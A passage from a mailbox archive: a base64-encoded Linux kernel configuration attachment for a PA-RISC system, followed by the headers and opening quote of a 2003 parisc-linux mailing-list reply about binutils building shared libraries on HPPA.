TkZJR19DUzg5eDAgaXMgbm90IHNldA0KQ09ORklHX1RVTElQPXkNCiMgQ09O
RklHX1RVTElQX01XSSBpcyBub3Qgc2V0DQpDT05GSUdfVFVMSVBfTU1JTz15
DQojIENPTkZJR19ERTRYNSBpcyBub3Qgc2V0DQojIENPTkZJR19ER1JTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0RNOTEwMiBpcyBub3Qgc2V0DQojIENPTkZJ
R19FRVBSTzEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19FMTAwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0xORTM5MCBpcyBub3Qgc2V0DQojIENPTkZJR19GRUFM
TlggaXMgbm90IHNldA0KIyBDT05GSUdfTkFUU0VNSSBpcyBub3Qgc2V0DQoj
IENPTkZJR19ORTJLX1BDSSBpcyBub3Qgc2V0DQojIENPTkZJR19ORTMyMTAg
aXMgbm90IHNldA0KIyBDT05GSUdfRVMzMjEwIGlzIG5vdCBzZXQNCiMgQ09O
RklHXzgxMzlDUCBpcyBub3Qgc2V0DQpDT05GSUdfODEzOVRPTz15DQojIENP
TkZJR184MTM5VE9PX1BJTyBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5VE9P
X1RVTkVfVFdJU1RFUiBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5VE9PXzgx
MjkgaXMgbm90IHNldA0KIyBDT05GSUdfODEzOV9PTERfUlhfUkVTRVQgaXMg
bm90IHNldA0KIyBDT05GSUdfU0lTOTAwIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0VQSUMxMDAgaXMgbm90IHNldA0KIyBDT05GSUdfU1VOREFOQ0UgaXMgbm90
IHNldA0KIyBDT05GSUdfU1VOREFOQ0VfTU1JTyBpcyBub3Qgc2V0DQojIENP
TkZJR19UTEFOIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RDMzU4MTUgaXMgbm90
IHNldA0KIyBDT05GSUdfVklBX1JISU5FIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1ZJQV9SSElORV9NTUlPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1dJTkJPTkRf
ODQwIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9QT0NLRVQgaXMgbm90IHNl
dA0KDQojDQojIEV0aGVybmV0ICgxMDAwIE1iaXQpDQojDQojIENPTkZJR19B
Q0VOSUMgaXMgbm90IHNldA0KIyBDT05GSUdfREwySyBpcyBub3Qgc2V0DQoj
IENPTkZJR19FMTAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19NWVJJX1NCVVMg
aXMgbm90IHNldA0KIyBDT05GSUdfTlM4MzgyMCBpcyBub3Qgc2V0DQojIENP
TkZJR19IQU1BQ0hJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1lFTExPV0ZJTiBp
cyBub3Qgc2V0DQojIENPTkZJR19TSzk4TElOIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1RJR09OMyBpcyBub3Qgc2V0DQojIENPTkZJR19GRERJIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0hJUFBJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BMSVAg
aXMgbm90IHNldA0KQ09ORklHX1BQUD15DQpDT05GSUdfUFBQX01VTFRJTElO
Sz15DQpDT05GSUdfUFBQX0ZJTFRFUj15DQpDT05GSUdfUFBQX0FTWU5DPXkN
CkNPTkZJR19QUFBfU1lOQ19UVFk9eQ0KQ09ORklHX1BQUF9ERUZMQVRFPXkN
CkNPTkZJR19QUFBfQlNEQ09NUD15DQpDT05GSUdfUFBQT0U9eQ0KQ09ORklH
X1NMSVA9bQ0KQ09ORklHX1NMSVBfQ09NUFJFU1NFRD15DQpDT05GSUdfU0xJ
UF9TTUFSVD15DQpDT05GSUdfU0xJUF9NT0RFX1NMSVA2PXkNCg0KIw0KIyBX
aXJlbGVzcyBMQU4gKG5vbi1oYW1yYWRpbykNCiMNCkNPTkZJR19ORVRfUkFE
SU89eQ0KIyBDT05GSUdfU1RSSVAgaXMgbm90IHNldA0KIyBDT05GSUdfV0FW
RUxBTiBpcyBub3Qgc2V0DQojIENPTkZJR19BUkxBTiBpcyBub3Qgc2V0DQoj
IENPTkZJR19BSVJPTkVUNDUwMCBpcyBub3Qgc2V0DQojIENPTkZJR19BSVJP
TkVUNDUwMF9OT05DUyBpcyBub3Qgc2V0DQojIENPTkZJR19BSVJPTkVUNDUw
MF9QUk9DIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FJUk8gaXMgbm90IHNldA0K
Q09ORklHX0hFUk1FUz15DQpDT05GSUdfUExYX0hFUk1FUz15DQojIENPTkZJ
R19QQ0lfSEVSTUVTIGlzIG5vdCBzZXQNCkNPTkZJR19QQ01DSUFfSEVSTUVT
PXkNCiMgQ09ORklHX0FJUk9fQ1MgaXMgbm90IHNldA0KQ09ORklHX05FVF9X
SVJFTEVTUz15DQoNCiMNCiMgVG9rZW4gUmluZyBkZXZpY2VzDQojDQpDT05G
SUdfVFI9eQ0KQ09ORklHX0lCTU9MPXkNCiMgQ09ORklHX0lCTUxTIGlzIG5v
dCBzZXQNCiMgQ09ORklHXzNDMzU5IGlzIG5vdCBzZXQNCiMgQ09ORklHX1RN
UzM4MFRSIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9GQyBpcyBub3Qgc2V0
DQojIENPTkZJR19SQ1BDSSBpcyBub3Qgc2V0DQojIENPTkZJR19TSEFQRVIg
aXMgbm90IHNldA0KDQojDQojIFdhbiBpbnRlcmZhY2VzDQojDQojIENPTkZJ
R19XQU4gaXMgbm90IHNldA0KDQojDQojIFBDTUNJQSBuZXR3b3JrIGRldmlj
ZSBzdXBwb3J0DQojDQpDT05GSUdfTkVUX1BDTUNJQT15DQojIENPTkZJR19Q
Q01DSUFfM0M1ODkgaXMgbm90IHNldA0KIyBDT05GSUdfUENNQ0lBXzNDNTc0
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1BDTUNJQV9GTVZKMThYIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1BDTUNJQV9QQ05FVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19QQ01DSUFfQVhORVQgaXMgbm90IHNldA0KIyBDT05GSUdfUENNQ0lBX05N
Q0xBTiBpcyBub3Qgc2V0DQojIENPTkZJR19QQ01DSUFfU01DOTFDOTIgaXMg
bm90IHNldA0KIyBDT05GSUdfUENNQ0lBX1hJUkMyUFMgaXMgbm90IHNldA0K
IyBDT05GSUdfQVJDTkVUX0NPTTIwMDIwX0NTIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1BDTUNJQV9JQk1UUiBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1BDTUNJ
QV9SQURJTz15DQojIENPTkZJR19QQ01DSUFfUkFZQ1MgaXMgbm90IHNldA0K
IyBDT05GSUdfUENNQ0lBX05FVFdBVkUgaXMgbm90IHNldA0KIyBDT05GSUdf
UENNQ0lBX1dBVkVMQU4gaXMgbm90IHNldA0KIyBDT05GSUdfQUlST05FVDQ1
MDBfQ1MgaXMgbm90IHNldA0KDQojDQojIElucHV0IGNvcmUgc3VwcG9ydA0K
Iw0KIyBDT05GSUdfSU5QVVQgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRf
S0VZQkRFViBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9NT1VTRURFViBp
cyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9KT1lERVYgaXMgbm90IHNldA0K
IyBDT05GSUdfSU5QVVRfRVZERVYgaXMgbm90IHNldA0KDQojDQojIENoYXJh
Y3RlciBkZXZpY2VzDQojDQojIENPTkZJR19WVCBpcyBub3Qgc2V0DQpDT05G
SUdfU0VSSUFMPXkNCkNPTkZJR19TRVJJQUxfQ09OU09MRT15DQpDT05GSUdf
U0VSSUFMX0dTQz15DQpDT05GSUdfSFBfRElWQT15DQojIENPTkZJR19TRVJJ
QUxfRVhURU5ERUQgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSUFMX05PTlNU
QU5EQVJEIGlzIG5vdCBzZXQNCkNPTkZJR19VTklYOThfUFRZUz15DQpDT05G
SUdfVU5JWDk4X1BUWV9DT1VOVD0yNTYNCkNPTkZJR19QUklOVEVSPXkNCiMg
Q09ORklHX0xQX0NPTlNPTEUgaXMgbm90IHNldA0KIyBDT05GSUdfUFBERVYg
aXMgbm90IHNldA0KDQojDQojIEkyQyBzdXBwb3J0DQojDQojIENPTkZJR19J
MkMgaXMgbm90IHNldA0KDQojDQojIE1pY2UNCiMNCiMgQ09ORklHX0JVU01P
VVNFIGlzIG5vdCBzZXQNCkNPTkZJR19NT1VTRT15DQpDT05GSUdfUFNNT1VT
RT15DQojIENPTkZJR184MkM3MTBfTU9VU0UgaXMgbm90IHNldA0KIyBDT05G
SUdfUEMxMTBfUEFEIGlzIG5vdCBzZXQNCiMgQ09ORklHX01LNzEyX01PVVNF
IGlzIG5vdCBzZXQNCg0KIw0KIyBKb3lzdGlja3MNCiMNCiMgQ09ORklHX0lO
UFVUX0dBTUVQT1JUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1FJQzAyX1RBUEUg
aXMgbm90IHNldA0KDQojDQojIFdhdGNoZG9nIENhcmRzDQojDQojIENPTkZJ
R19XQVRDSERPRyBpcyBub3Qgc2V0DQpDT05GSUdfR0VOUlRDPXkNCiMgQ09O
RklHX0FNRF9QTTc2OCBpcyBub3Qgc2V0DQojIENPTkZJR19OVlJBTSBpcyBu
b3Qgc2V0DQojIENPTkZJR19SVEMgaXMgbm90IHNldA0KIyBDT05GSUdfRFRM
SyBpcyBub3Qgc2V0DQojIENPTkZJR19SMzk2NCBpcyBub3Qgc2V0DQojIENP
TkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0DQoNCiMNCiMgRnRhcGUsIHRoZSBm
bG9wcHkgdGFwZSBkZXZpY2UgZHJpdmVyDQojDQojIENPTkZJR19GVEFQRSBp
cyBub3Qgc2V0DQojIENPTkZJR19BR1AgaXMgbm90IHNldA0KIyBDT05GSUdf
RFJNIGlzIG5vdCBzZXQNCg0KIw0KIyBQQ01DSUEgY2hhcmFjdGVyIGRldmlj
ZXMNCiMNCiMgQ09ORklHX1BDTUNJQV9TRVJJQUxfQ1MgaXMgbm90IHNldA0K
IyBDT05GSUdfU1lOQ0xJTktfQ1MgaXMgbm90IHNldA0KDQojDQojIEhJTCBz
dXBwb3J0DQojDQoNCiMNCiMgTXVsdGltZWRpYSBkZXZpY2VzDQojDQojIENP
TkZJR19WSURFT19ERVYgaXMgbm90IHNldA0KDQojDQojIEZpbGUgc3lzdGVt
cw0KIw0KQ09ORklHX1FVT1RBPXkNCiMgQ09ORklHX0FVVE9GU19GUyBpcyBu
b3Qgc2V0DQpDT05GSUdfQVVUT0ZTNF9GUz1tDQojIENPTkZJR19SRUlTRVJG
U19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19SRUlTRVJGU19DSEVDSyBpcyBu
b3Qgc2V0DQojIENPTkZJR19SRUlTRVJGU19QUk9DX0lORk8gaXMgbm90IHNl
dA0KIyBDT05GSUdfQURGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19BREZT
X0ZTX1JXIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FGRlNfRlMgaXMgbm90IHNl
dA0KIyBDT05GSUdfSEZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JFRlNf
RlMgaXMgbm90IHNldA0KIyBDT05GSUdfQkVGU19ERUJVRyBpcyBub3Qgc2V0
DQojIENPTkZJR19CRlNfRlMgaXMgbm90IHNldA0KQ09ORklHX0VYVDNfRlM9
eQ0KQ09ORklHX0pCRD15DQojIENPTkZJR19KQkRfREVCVUcgaXMgbm90IHNl
dA0KQ09ORklHX0ZBVF9GUz1tDQpDT05GSUdfTVNET1NfRlM9bQ0KIyBDT05G
SUdfVU1TRE9TX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19WRkFUX0ZTPW0NCiMg
Q09ORklHX0VGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19KRkZTX0ZTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0pGRlMyX0ZTIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0NSQU1GUyBpcyBub3Qgc2V0DQpDT05GSUdfVE1QRlM9eQ0KQ09ORklH
X1JBTUZTPXkNCkNPTkZJR19JU085NjYwX0ZTPXkNCkNPTkZJR19KT0xJRVQ9
eQ0KQ09ORklHX1pJU09GUz15DQojIENPTkZJR19KRlNfRlMgaXMgbm90IHNl
dA0KIyBDT05GSUdfSkZTX0RFQlVHIGlzIG5vdCBzZXQNCiMgQ09ORklHX0pG
U19TVEFUSVNUSUNTIGlzIG5vdCBzZXQNCiMgQ09ORklHX01JTklYX0ZTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1ZYRlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfTlRGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19OVEZTX1JXIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0hQRlNfRlMgaXMgbm90IHNldA0KQ09ORklHX1BS
T0NfRlM9eQ0KIyBDT05GSUdfREVWRlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfREVWRlNfTU9VTlQgaXMgbm90IHNldA0KIyBDT05GSUdfREVWRlNfREVC
VUcgaXMgbm90IHNldA0KQ09ORklHX0RFVlBUU19GUz15DQojIENPTkZJR19R
Tlg0RlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfUU5YNEZTX1JXIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1JPTUZTX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19F
WFQyX0ZTPXkNCiMgQ09ORklHX1NZU1ZfRlMgaXMgbm90IHNldA0KQ09ORklH
X1VERl9GUz1tDQojIENPTkZJR19VREZfUlcgaXMgbm90IHNldA0KIyBDT05G
SUdfVUZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VGU19GU19XUklURSBp
cyBub3Qgc2V0DQoNCiMNCiMgTmV0d29yayBGaWxlIFN5c3RlbXMNCiMNCiMg
Q09ORklHX0NPREFfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfSU5URVJNRVpa
T19GUyBpcyBub3Qgc2V0DQpDT05GSUdfTkZTX0ZTPW0NCkNPTkZJR19ORlNf
VjM9eQ0KIyBDT05GSUdfUk9PVF9ORlMgaXMgbm90IHNldA0KQ09ORklHX05G
U0Q9bQ0KQ09ORklHX05GU0RfVjM9eQ0KIyBDT05GSUdfTkZTRF9UQ1AgaXMg
bm90IHNldA0KQ09ORklHX1NVTlJQQz1tDQpDT05GSUdfTE9DS0Q9bQ0KQ09O
RklHX0xPQ0tEX1Y0PXkNCkNPTkZJR19TTUJfRlM9eQ0KQ09ORklHX1NNQl9O
TFNfREVGQVVMVD15DQpDT05GSUdfU01CX05MU19SRU1PVEU9ImNwODUwIg0K
IyBDT05GSUdfTkNQX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX1BB
Q0tFVF9TSUdOSU5HIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX0lPQ1RM
X0xPQ0tJTkcgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfU1RST05HIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX05GU19OUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19OQ1BGU19PUzJfTlMgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQ
RlNfU01BTExET1MgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfTkxTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX0VYVFJBUyBpcyBub3Qgc2V0DQpD
T05GSUdfWklTT0ZTX0ZTPXkNCg0KIw0KIyBQYXJ0aXRpb24gVHlwZXMNCiMN
CkNPTkZJR19QQVJUSVRJT05fQURWQU5DRUQ9eQ0KIyBDT05GSUdfQUNPUk5f
UEFSVElUSU9OIGlzIG5vdCBzZXQNCkNPTkZJR19PU0ZfUEFSVElUSU9OPXkN
CiMgQ09ORklHX0FNSUdBX1BBUlRJVElPTiBpcyBub3Qgc2V0DQojIENPTkZJ
R19BVEFSSV9QQVJUSVRJT04gaXMgbm90IHNldA0KIyBDT05GSUdfTUFDX1BB
UlRJVElPTiBpcyBub3Qgc2V0DQpDT05GSUdfTVNET1NfUEFSVElUSU9OPXkN
CkNPTkZJR19CU0RfRElTS0xBQkVMPXkNCiMgQ09ORklHX01JTklYX1NVQlBB
UlRJVElPTiBpcyBub3Qgc2V0DQojIENPTkZJR19TT0xBUklTX1g4Nl9QQVJU
SVRJT04gaXMgbm90IHNldA0KIyBDT05GSUdfVU5JWFdBUkVfRElTS0xBQkVM
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0xETV9QQVJUSVRJT04gaXMgbm90IHNl
dA0KIyBDT05GSUdfU0dJX1BBUlRJVElPTiBpcyBub3Qgc2V0DQojIENPTkZJ
R19VTFRSSVhfUEFSVElUSU9OIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NVTl9Q
QVJUSVRJT04gaXMgbm90IHNldA0KIyBDT05GSUdfRUZJX1BBUlRJVElPTiBp
cyBub3Qgc2V0DQpDT05GSUdfU01CX05MUz15DQpDT05GSUdfTkxTPXkNCg0K
Iw0KIyBOYXRpdmUgTGFuZ3VhZ2UgU3VwcG9ydA0KIw0KQ09ORklHX05MU19E
RUZBVUxUPSJpc284ODU5LTE1Ig0KQ09ORklHX05MU19DT0RFUEFHRV80Mzc9
bQ0KQ09ORklHX05MU19DT0RFUEFHRV83Mzc9bQ0KQ09ORklHX05MU19DT0RF
UEFHRV83NzU9bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NTA9bQ0KQ09ORklH
X05MU19DT0RFUEFHRV84NTI9bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NTU9
bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NTc9bQ0KQ09ORklHX05MU19DT0RF
UEFHRV84NjA9bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NjE9bQ0KQ09ORklH
X05MU19DT0RFUEFHRV84NjI9bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NjM9
bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NjQ9bQ0KQ09ORklHX05MU19DT0RF
UEFHRV84NjU9bQ0KQ09ORklHX05MU19DT0RFUEFHRV84NjY9bQ0KQ09ORklH
X05MU19DT0RFUEFHRV84Njk9bQ0KQ09ORklHX05MU19DT0RFUEFHRV85MzY9
bQ0KQ09ORklHX05MU19DT0RFUEFHRV85NTA9bQ0KQ09ORklHX05MU19DT0RF
UEFHRV85MzI9bQ0KQ09ORklHX05MU19DT0RFUEFHRV85NDk9bQ0KQ09ORklH
X05MU19DT0RFUEFHRV84NzQ9bQ0KQ09ORklHX05MU19JU084ODU5Xzg9bQ0K
Q09ORklHX05MU19DT0RFUEFHRV8xMjUwPW0NCkNPTkZJR19OTFNfQ09ERVBB
R0VfMTI1MT1tDQpDT05GSUdfTkxTX0lTTzg4NTlfMT1tDQpDT05GSUdfTkxT
X0lTTzg4NTlfMj1tDQpDT05GSUdfTkxTX0lTTzg4NTlfMz1tDQpDT05GSUdf
TkxTX0lTTzg4NTlfND1tDQpDT05GSUdfTkxTX0lTTzg4NTlfNT1tDQpDT05G
SUdfTkxTX0lTTzg4NTlfNj1tDQpDT05GSUdfTkxTX0lTTzg4NTlfNz1tDQpD
T05GSUdfTkxTX0lTTzg4NTlfOT1tDQpDT05GSUdfTkxTX0lTTzg4NTlfMTM9
bQ0KQ09ORklHX05MU19JU084ODU5XzE0PW0NCkNPTkZJR19OTFNfSVNPODg1
OV8xNT1tDQpDT05GSUdfTkxTX0tPSThfUj1tDQpDT05GSUdfTkxTX0tPSThf
VT1tDQpDT05GSUdfTkxTX1VURjg9bQ0KDQojDQojIFNvdW5kDQojDQpDT05G
SUdfU09VTkQ9eQ0KIyBDT05GSUdfU09VTkRfQUxJNTQ1NSBpcyBub3Qgc2V0
DQojIENPTkZJR19TT1VORF9CVDg3OCBpcyBub3Qgc2V0DQojIENPTkZJR19T
T1VORF9DTVBDSSBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9FTVUxMEsx
IGlzIG5vdCBzZXQNCiMgQ09ORklHX01JRElfRU1VMTBLMSBpcyBub3Qgc2V0
DQojIENPTkZJR19TT1VORF9GVVNJT04gaXMgbm90IHNldA0KIyBDT05GSUdf
U09VTkRfQ1M0MjgxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX0VTMTM3
MCBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9FUzEzNzEgaXMgbm90IHNl
dA0KIyBDT05GSUdfU09VTkRfRVNTU09MTzEgaXMgbm90IHNldA0KIyBDT05G
SUdfU09VTkRfTUFFU1RSTyBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9N
QUVTVFJPMyBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9GT1JURSBpcyBu
b3Qgc2V0DQojIENPTkZJR19TT1VORF9JQ0ggaXMgbm90IHNldA0KQ09ORklH
X1NPVU5EX0hBUk1PTlk9bQ0KIyBDT05GSUdfU09VTkRfUk1FOTZYWCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TT1VORF9TT05JQ1ZJQkVTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NPVU5EX1RSSURFTlQgaXMgbm90IHNldA0KIyBDT05GSUdf
U09VTkRfTVNORENMQVMgaXMgbm90IHNldA0KIyBDT05GSUdfU09VTkRfTVNO
RFBJTiBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9WSUE4MkNYWFggaXMg
bm90IHNldA0KIyBDT05GSUdfTUlESV9WSUE4MkNYWFggaXMgbm90IHNldA0K
IyBDT05GSUdfU09VTkRfT1NTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5E
X1RWTUlYRVIgaXMgbm90IHNldA0KDQojDQojIFVTQiBzdXBwb3J0DQojDQpD
T05GSUdfVVNCPXkNCiMgQ09ORklHX1VTQl9ERUJVRyBpcyBub3Qgc2V0DQpD
T05GSUdfVVNCX0RFVklDRUZTPXkNCiMgQ09ORklHX1VTQl9CQU5EV0lEVEgg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0xPTkdfVElNRU9VVCBpcyBub3Qg
c2V0DQpDT05GSUdfVVNCX0VIQ0lfSENEPXkNCkNPTkZJR19VU0JfVUhDST1t
DQpDT05GSUdfVVNCX1VIQ0lfQUxUPW0NCkNPTkZJR19VU0JfT0hDST1tDQoj
IENPTkZJR19VU0JfQVVESU8gaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0VN
STI2IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9CTFVFVE9PVEggaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX01JREkgaXMgbm90IHNldA0KQ09ORklHX1VT
Ql9TVE9SQUdFPXkNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0RFQlVHIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0RBVEFGQUIgaXMgbm90IHNl
dA0KIyBDT05GSUdfVVNCX1NUT1JBR0VfRlJFRUNPTSBpcyBub3Qgc2V0DQoj
IENPTkZJR19VU0JfU1RPUkFHRV9JU0QyMDAgaXMgbm90IHNldA0KIyBDT05G
SUdfVVNCX1NUT1JBR0VfRFBDTSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0Jf
U1RPUkFHRV9IUDgyMDBlIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9S
QUdFX1NERFIwOSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9T
RERSNTUgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NUT1JBR0VfSlVNUFNI
T1QgaXMgbm90IHNldA0KQ09ORklHX1VTQl9BQ009bQ0KQ09ORklHX1VTQl9Q
UklOVEVSPW0NCiMgQ09ORklHX1VTQl9ISUQgaXMgbm90IHNldA0KIyBDT05G
SUdfVVNCX0hJRElOUFVUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9ISURE
RVYgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0tCRCBpcyBub3Qgc2V0DQoj
IENPTkZJR19VU0JfTU9VU0UgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0FJ
UFRFSyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfV0FDT00gaXMgbm90IHNl
dA0KIyBDT05GSUdfVVNCX0RDMlhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9NREM4MDAgaXMgbm90IHNldA0KQ09ORklHX1VTQl9TQ0FOTkVSPW0NCkNP
TkZJR19VU0JfTUlDUk9URUs9bQ0KQ09ORklHX1VTQl9IUFVTQlNDU0k9bQ0K
Q09ORklHX1VTQl9QRUdBU1VTPW0NCkNPTkZJR19VU0JfUlRMODE1MD1tDQpD
T05GSUdfVVNCX0tBV0VUSD1tDQpDT05GSUdfVVNCX0NBVEM9bQ0KQ09ORklH
X1VTQl9DRENFVEhFUj1tDQpDT05GSUdfVVNCX1VTQk5FVD1tDQojIENPTkZJ
R19VU0JfVVNTNzIwIGlzIG5vdCBzZXQNCg0KIw0KIyBVU0IgU2VyaWFsIENv
bnZlcnRlciBzdXBwb3J0DQojDQojIENPTkZJR19VU0JfU0VSSUFMIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9SSU81MDAgaXMgbm90IHNldA0KQ09ORklH
X1VTQl9BVUVSU1dBTEQ9bQ0KIyBDT05GSUdfVVNCX1RJR0wgaXMgbm90IHNl
dA0KIyBDT05GSUdfVVNCX0JSTFZHRVIgaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX0xDRCBpcyBub3Qgc2V0DQoNCiMNCiMgS2VybmVsIGhhY2tpbmcNCiMN
CiMgQ09ORklHX01BR0lDX1NZU1JRIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RF
QlVHX1NQSU5MT0NLIGlzIG5vdCBzZXQNCg0KIw0KIyBMaWJyYXJ5IHJvdXRp
bmVzDQojDQpDT05GSUdfWkxJQl9JTkZMQVRFPXkNCkNPTkZJR19aTElCX0RF
RkxBVEU9eQ0K
---275789367-1590063830-1054585206=:1415--


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Mon, 2 Jun 2003 17:10:38 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200306022110.h52LAdt3024082__17315.4744240039$1416622492$gmane$org@hiauly1.hia.nrc.ca>
References: <20030528190706.GC21904@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622492 26388 80.91.229.3 (22 Nov 2014 02:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:52 +0000 (UTC)
Cc: tausq@debian.org, bug-binutils@gnu.org,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org,
	debian-gcc@lists.debian.org
To: amodra@bigpond.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 15:10:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A1944829
	for <parisc-linux@parisc-linux.org>; Mon,  2 Jun 2003 15:10:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h52LAggL024088;
	Mon, 2 Jun 2003 17:10:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h52LAdt3024082;
	Mon, 2 Jun 2003 17:10:39 -0400 (EDT)
In-Reply-To: <20030528190706.GC21904@bubble.sa.bigpond.net.au> from "amodra@bigpond.net.au" at May 29, 2003 04:37:06 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18598

> On Mon, May 26, 2003 at 10:22:51PM -0700, Randolph Chung wrote:
> > tausq@ios:~$ gcc -shared -fPIC -o blah.so blah.c
